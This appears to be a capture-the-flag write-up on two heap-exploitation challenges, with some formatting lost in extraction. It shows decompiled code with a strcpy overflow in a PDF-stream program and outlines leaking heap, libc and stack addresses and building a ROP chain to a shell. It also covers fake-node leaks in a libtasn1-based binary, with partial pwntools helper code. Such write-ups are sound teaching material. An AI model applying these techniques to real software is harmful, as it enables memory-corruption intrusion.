if ( pdf->stream_count <= 511 ) { ptra = (Stream *)malloc(0x20uLL); if ( ptra ) { ptra->data = strndup(string, 0xF9uLL); if ( ptra->data ) { ptra->len = strlen(ptra->data); ptra->magic = 0x42800000; ptra->signature = (float)(-20 * pdf->stream_count + 750); ptra->next = 0LL; if ( pdf->next ) { for ( i = pdf->next; i->next; i = i->next ) ; i->next = ptra; } else { pdf->next = ptra; } ++pdf->stream_count; puts("Stream added successfully."); } else { puts("Error: Memory allocation failed for stream data."); free(ptra); } } else { puts("Error: Memory allocation failed for stream structure."); } } else { puts("Error: Maximum number of streams reached."); } }
There is a buffer-overflow bug in modify_stream function, it calls strcpy to copy src to next->data without checking next->len:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
void __fastcall modify_stream(Pdf *ptr, int i_1, constchar *src) { int i; // [rsp+24h] [rbp-Ch] Stream *next; // [rsp+28h] [rbp-8h]
if ( i_1 >= 0 && i_1 < ptr->stream_count ) { next = ptr->next; for ( i = 0; i < i_1; ++i ) next = next->next; strcpy(next->data, src); // bug next->len = strlen(src); puts("Stream modified successfully."); } else { puts("Error: Invalid stream index."); } }
With this bug, I could overwrite heap chunk’s size , Stream::ptr and Stream::next.
I won’t write the details how I exploited with this bug but only the idea:
Overwriting one stream’s ptr to its address so I could leak heap’s address.
Allocating some stream and overwriting one’s metadata size. Freeing it and I had a unsortedbin. Overwriting one stream’s ptr to unsortedbin’s address to leak libc’s address.
Overwriting one stream’s ptr to libc.envrion to leak stack address
Overwriting one stream’s ptr to main’s saved return address to a rop chain
Finally overwriting the second stream’s ptr and next to NULL to return safety and get the shell.
This is a binary using libtasn1 library. When the first time seeing this challenge, I had no idea how asn1 works.
Reading this manual and asking ChatGPT for the details. I defined my node was:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
Example { 1 2 3 4 }
DEFINITIONS EXPLICIT TAGS ::=
BEGIN
Group ::= SEQUENCE { id OBJECT IDENTIFIER, value Value }
Value ::= SEQUENCE { value1 INTEGER, value2 BOOLEAN }
END
Also, I imported this defenition to IDA because I would need to know many attributes of ans1 node lately:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
structnode_asn_struct { char *name; /* Node name */ unsignedint type; /* Node type */ unsignedchar *value; /* Node value */ int value_len; structnode_asn_struct *down;/* Pointer to the son node */ structnode_asn_struct *right;/* Pointer to the brother node */ structnode_asn_struct *left;/* Pointer to the next list element */ };
v4 = __readfsqword(0x28u); if ( main_elem ) { memset(value, 0, 0x100uLL); puts("Which value to read:"); read_string(name, 256); len = 256; ret = asn1_read_value(main_elem, name, value, &len); printf("Read %d bytes\n", len); puts(value); } }
I overwrote main_elem->down to a fake node which has value points to unsortedbin:
Actually, not every nodes allow to read value as raw bytes. By reading the libtasn1’s source code, I found that ASN1_ETYPE_UTC_TIME nodes allow to read raw bytes:
1 2
case ASN1_ETYPE_UTC_TIME: PUT_AS_STR_VALUE (value, value_size, node->value, node->value_len);
Using the same technique to leak stack via environ.
But I could not use this trick with write_value to have arbitrary write.
After leaking libc and stack’s addresses, I noticed that there are 7 0x20-tcachebins and many 0x20-fastbins:
In asn1_write_value, if the type is ASN1_ETYPE_GENERALIZED_TIME it will call _asn1_set_value. _asn1_set_value frees current node->value before copying value to the new node->value:
defread_value(element): p.sendlineafter(b"> ", b"7") p.sendlineafter(b"Which value to read:", element)
defwrite_value(element, len, value): p.sendlineafter(b"> ", b"8") p.sendlineafter(b"Which value to write:", element) p.sendlineafter(b"How long is the value:", str(len).encode()) p.sendlineafter(b'Enter the value to write:', value) sleep(0.1)
defalloc_chunk(size, data): p.sendlineafter(b"> ", b"9") p.sendlineafter(b"Which size:", str(size).encode()) p.sendlineafter(b'Feel free to fill your chunk:', data)
p = start()
read_node(b'''Example { 1 2 3 4 } DEFINITIONS EXPLICIT TAGS ::= BEGIN Group ::= SEQUENCE { id OBJECT IDENTIFIER, value Value } Value ::= SEQUENCE { value1 INTEGER, value2 BOOLEAN } END''')